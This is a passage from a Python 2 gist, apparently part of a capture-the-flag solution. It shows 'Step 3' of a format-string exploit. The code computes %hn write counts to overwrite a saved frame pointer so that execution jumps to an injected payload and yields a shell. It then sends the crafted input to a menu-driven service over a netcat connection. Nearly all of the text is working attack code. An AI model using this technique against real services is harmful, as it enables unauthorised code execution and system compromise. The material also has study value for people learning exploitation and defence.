gistfile1.py

# Step 3 --- Exploit: trigger the payload so we get a nice shell
# minus 4 because leave does "mov %ebp, %esp" and then "pop %ebp"
target_ebp_value = location_payload - 4
ebp_ho_count = ((target_ebp_value >> 16) % 0x10000)
ebp_lo_count = (target_ebp_value % 0x10000)

EXPLOIT = dword_to_bitstring(location_ebp_printf + 2)
EXPLOIT += dword_to_bitstring(location_ebp_printf)

if ebp_ho_count < ebp_lo_count:
	# 8 characters already printed by two addresses above
	EXPLOIT += "%" + str(ebp_ho_count - 8) + "x"
	EXPLOIT += "%22$hn"
	# minus ho_count because those are already printed
	EXPLOIT += "%" + str(ebp_lo_count - ebp_ho_count) + "x"
	EXPLOIT += "%23$hn"
else:
	# 8 characters already printed by two addresses above
	EXPLOIT += "%" + str(ebp_lo_count - 8) + "x"
	EXPLOIT += "%23$hn"
	# minus ho_count because those are already printed
	EXPLOIT += "%" + str(ebp_ho_count - ebp_lo_count) + "x"
	EXPLOIT += "%22$hn"

print "[+] Triggering payload with   :", repr(EXPLOIT), "having length", len(EXPLOIT)

nc.read_until("Your choice: ")
nc.write("1" + "\n")

nc.read_until("Insert name: ")
nc.write(EXPLOIT + "A"*(100 - len(EXPLOIT)) + "\x01\x01"*4 + "\xFF\xFF" + "\n")
nc.read_until("Uranium in nuclear plant \"")